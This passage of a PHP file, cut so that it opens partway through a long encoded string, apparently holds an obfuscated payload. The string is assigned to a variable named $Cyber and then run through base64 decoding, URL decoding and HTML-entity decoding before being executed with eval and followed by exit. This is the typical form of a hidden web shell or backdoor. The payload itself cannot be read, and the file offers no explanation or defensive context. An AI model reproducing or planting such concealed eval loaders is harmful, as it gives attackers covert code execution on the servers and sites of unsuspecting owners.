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";
eval(htmlspecialchars_decode(urldecode(base64_decode($Cyber))));
exit;
?>